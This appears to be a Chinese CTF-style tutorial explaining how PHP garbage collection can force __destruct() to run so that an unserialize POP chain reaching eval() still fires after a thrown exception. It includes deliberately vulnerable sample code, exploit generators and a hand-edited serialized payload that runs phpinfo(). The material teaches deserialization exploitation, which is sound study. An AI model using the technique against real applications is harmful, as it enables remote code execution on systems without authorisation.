图文详解PHP中GC回收机制的利用
前言
在前面讲魔术方法时就提到过一个问题,__destruct()无论如何都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序走了一半,突然报错,那么__destruct()不会触发了,那如果又必须要__destruct()触发又得怎么搞呢?
这里就要提到一个垃圾回收机制---GC回收!!
简单铺垫
先看看这个简单的序列化,一定要先思考再看后面的答案
<?php highlight_file(__FILE__); class errorr{ public $rce; public function __destruct(){ eval($rce); } } $a = $_GET["a"]; unserialize($a); ?>
很简单的一个反序列化,想办法控制$rce这个变量就可以达到命令执行的目的。
构造exp
<?php class errorr{ public $rce = "phpinfo();"; } $a = new errorr(); echo urlencode(serialize($a)); ?>
如果你看完了我之前写的序列化与反序列化基础篇就只能说这个是非常简单了。
这里是因为可以用到__destruct()方法
<?php highlight_file(__FILE__); class errorr{ public $rce; public function __destruct(){ eval($rce); } } $a = $_GET["a"]; unserialize($a); throw new Exception("???"); ?>
如果是这样的话呢?不会的话也不用着急搞懂,我们后面慢慢说。
初识GC
PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。
垃圾,顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就不会出现无法调用__destruct()方法了。想知道原理细节的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual
那接下来就演示用代码演示GC的实际工作。
<?php highlight_file(__FILE__); error_reporting(0); class errorr{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } new errorr(1); $a = new errorr(2); $b = new errorr(3); ?>
可以猜一猜结果会是什么。
谢谢有被吃惊到(虽然我是已经知道结果的),new了一个errorr对象,屁股还没坐热就__destruct()了。后面的两个对象则是按部就班先创建完没有操作了以后才结束的。区别就在于对象1没有任何引用也没有指向,在创建的那一刻就被当作垃圾回收了,从而触发了__destruct()方法。
如果没有指向可以,那如过在指向一个对象的中途忽然指向另一个,也就是舍弃了该对象又会怎么样。
<?php highlight_file(__FILE__); error_reporting(0); class errorr{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } $c = array(new errorr(1),0); $c[0] = $c[1]; $a = new errorr(2); $b = new errorr(3); ?>
意料之中。
如果注销$c[0] = $c[1]呢?
可以看到,正常创建,最后销毁的。
小试牛刀
既然知道如何利用GC了,那就看一个例题。
<?php highlight_file(__FILE__); error_reporting(0); class errorr0{ public $num; public function __destruct(){ echo "hello __destruct"; echo $this->num; } } class errorr1{ public $err; public function __toString() { echo "hello __toString"; $this->err->flag(); } } class errorr2{ public $err; public function flag() { echo "hello __flag()"; eval($this->err); } } $a=unserialize($_GET['url']); throw new Exception("就这?"); ?>
自己胡思乱想出来的题目,太简单也不要骂我哈哈哈。可能这个throw new Exception();有点突兀,这其实就是阻止__destruct()执行的抛错,学过java或者python的小伙伴应该知道。
这也算一个pop链子吧,先分析目的函数,看来看去就是errorr2::flag(),往前推就是errorr1::__toString()会触发这个函数,而errorr0::__destruct()会触发toString,思路理清就把链子构造出来为:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。
exp为:
<?php error_reporting(0); class errorr0{ public $num; public function __construct() { $this->num = new errorr1(); } } class errorr1{ public $err; public function __construct() { $this->err = new errorr2(); } } class errorr2{ public $err = "phpinfo();"; } $a = new errorr0(); echo serialize($c); ?>
这个exp的构造有许多方法的,根据自己喜好来,不必和我一样。
这就完了?或许有人迷惑了,如果完了那前面我说的都是在放屁,和pop没区别,所以当然还没完。如果没有这句throw new Exception();就真的构造完了,但是有的话__destruct()是不会执行的,而__destruct()不执行这条链子根本就是堵死的,没啥用。
重点来了,根据之前说的GC回收机制可以把一段数据当做垃圾回收,那不就可以执行__destruct(),然后就有一个问题-------如何触发GC回收机制?!!还记得,之前举过的例子吗?如过没有如何东西指向一个对象,那个对象就会被当作垃圾回收。所以,我们先看修改后的exp
<?php error_reporting(0); class errorr0{ public $num; public function __construct() { $this->num = new errorr1(); } } class errorr1{ public $err; public function __construct() { $this->err = new errorr2(); } } class errorr2{ public $err = "phpinfo();"; } $a = new errorr0(); $c = array(0=>$a,1=>NULL); echo serialize($c); ?>
可以看出来,就加了一行代码,就是
$c = array(0=>$a,1=>NULL);
把目标对象赋给键为0,键为1赋值为NULL。为什么要这么做,因为这样操作后,得到的字符串为:
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}
可以自己试试。解释一下这串字符。
第一个a为数组,2为数组中键有两个 i = 0以及 i = 1
重点重点重点,虽然有两个键i = 0对应的是我们目标对象,i = 1是NULL,如果这个时候我们做一件坏事,把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。所以最后我们修改后的字符串为:
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}
成功拿下!!这就是GC回收机制的利用,现在返回去看开始那个铺垫我想你应该就懂了。
总结
因为讲的GC回收机制并不算深入,只是谈谈如何利用,所以如果想要深入了解的还是得自己去百度查查别人写的原理,另外就是GC回收机制的利用需要修改字符串中的数据,如果phar反序列化+GC的话就还需要额外修改phar文件的签名,如果遇到的话就需要在修改序列化字符串后再对其进行加密得到的数据替换原本的签名。